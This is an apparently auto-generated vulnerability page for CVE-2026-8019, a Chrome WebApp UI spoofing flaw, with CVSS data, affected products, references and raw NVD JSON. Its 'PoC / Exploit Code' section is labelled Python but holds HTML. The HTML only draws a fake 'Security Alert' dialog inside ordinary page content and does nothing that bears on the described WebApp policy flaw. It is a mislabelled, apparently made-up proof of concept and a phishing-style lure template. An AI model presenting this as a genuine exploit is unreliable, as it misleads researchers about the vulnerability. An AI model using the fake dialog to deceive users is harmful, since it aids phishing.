CVE-2026-8019

Description

Insufficient policy enforcement in WebApp in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for UI Spoofing in Chrome -->
<!-- This code demonstrates how to create a fake security dialog -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Chrome UI Spoofing PoC</title>
<style>
  /* Style to mimic a real browser dialog */
  .fake-dialog {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    width: 300px;
    padding: 20px;
    background: #fff;
    border: 1px solid #ccc;
    box-shadow: 0 4px 10px rgba(0,0,0,0.2);
    font-family: Arial, sans-serif;
    z-index: 9999;
  }
  .fake-header {
    font-weight: bold;
    margin-bottom: 10px;
  }
  .fake-buttons {
    text-align: right;
    margin-top: 15px;
  }
  button {
    margin-left: 10px;
    padding: 5px 10px;
  }
</style>
</head>
<body>
  <h1>Regular Website Content</h1>
  <p>This is a normal page background.</p>

  <!-- The spoofed UI element -->
  <div class="fake-dialog">
    <div class="fake-header">Security Alert</div>
    <div>Your connection is not secure. Do you want to proceed?</div>
    <div class="fake-buttons">
      <button>Back to Safety</button>
      <button>Proceed</button>
    </div>
  </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8019
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8019
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8019/
[4] VulDB https://vuldb.com/cve/CVE-2026-8019
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/498353173

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8019", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:52.863", "lastModified": "2026-05-07T15:26:05.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in WebApp in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/498353173", "source": "[email protected]", "tags": ["Permissions Required"]}]}}